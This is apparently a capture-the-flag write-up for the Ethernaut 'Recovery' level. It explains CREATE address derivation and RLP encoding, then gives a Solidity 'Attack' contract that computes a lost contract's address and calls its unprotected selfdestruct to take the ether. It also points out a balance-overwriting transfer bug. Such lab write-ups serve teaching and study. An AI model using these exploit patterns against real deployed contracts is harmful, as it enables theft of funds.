Table of contents
This is a relatively easy challenge, introducing the concepts of a token factory and RLP encoding. The whole idea of this challenge is that we have created a token contract using the token factory and deployed some Eth to it, the address of this new contract is lost. We must find this lost address to recover our tokens.
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent
0.001
ether to obtain more tokens. They have since lost the contract address.This level will be completed if you can recover (or remove) the
0.001
ether from the lost contract address.
Background
Let's first look at the more obvious way to solve, this challenge. Honestly, this was what struck me first. You must know about goerli.etherscan.io, it is an Ethereum blockchain explorer, we can investigate any contract being deployed/any transaction being made here. So, we can check for the contract being deployed by our token factory here with no issues and get the contract address. We will not discuss this solution, as this will probably teach you nothing. You can try this yourself.
Another way to solve the challenge would be to calculate the contract address manually. To do that let's first understand what is a contract factory.
A contract factory is a smart contract that produces other smart contracts which adhere to certain arbitrary qualities that we define. The Ethernaut CTF we are playing is one such example of it, when we create a new level instance, we are creating a brand new contract from a contract factory.
To create a new instance of Contract Factory, we use the keyword new
. In ethers.js here is how you use it.
new ethers.ContractFactory( interface , bytecode [ , signer ] ) //totally irrelevant to the solving ethernaut.
This new
keyword uses the CREATE
opcode, and according to the Ethereum Yellow Paper, here is how you find the address of the new contract.
"The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce."
So, what does this mean? Let's break this down one by one.
Keccak-256: Part of the SHA-3 family, computes a hash of input to 32-byte output.
RLP: Stands for Recursive Length Prefix. It standardizes the transfer of data between nodes and its sole purpose is to encode data. RLP for 20 byte address would be 0xd6, 0x94
. RLP encoding for nonce 1 will be 0x01
Read more.
nonce: It is the number of transactions of the sender's address. Also, each transaction is ordered i.e. We have nonce is 1 for the first transaction and nonce is 10 for the 10th outgoing transaction.
Now, all of this culminates to the following code:
address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))
//the above translates to this.
address lostaddress = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(<ContractFactory_Address>), bytes1(0x01))))));
Code of Importance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery { //this is the contract factory
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply); //generates another contract, and takes the aforementioned input parameters.
}
}
contract SimpleToken {
//public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name; //initialises name
balances[_creator] = _initialSupply; //initialises balance of creator.
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount; //subtracts to amount transferred.
balances[_to] = _amount; //this is a problem, though not relevant to us solving the challenge, but any attacker could call the transfer function, put the victim's address in _to and _amount as 0, this will reset the balance of victim's contract to zero.
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to); //as seen in a previous challenge with the cat, this will destroy the contract and send the remianing ether to the _to Address.
}
}
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./simpleToken.sol"; //create a .sol in remix and copy the ethernaut code.
contract Attack { //create attack contract.
address payable lostaddress; //will store, the address of lost constract.
SimpleToken lostcontract; //lost contract.
function attack(address payable _leveladdress) public {
lostaddress = payable(address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), payable(address(_leveladdress)), bytes1(0x01))))))); //calculates lost address
lostcontract = SimpleToken(lostaddress); //assigns the lost address to lost contract.
lostcontract.destroy(payable(msg.sender)); //destroys it and sends the ether to us i.e. msg.sender.
}
}
You can check for it in Goerli Ether Scan and submit the instance.
_leveladdress
== The instance address.
Recovery ๐บ.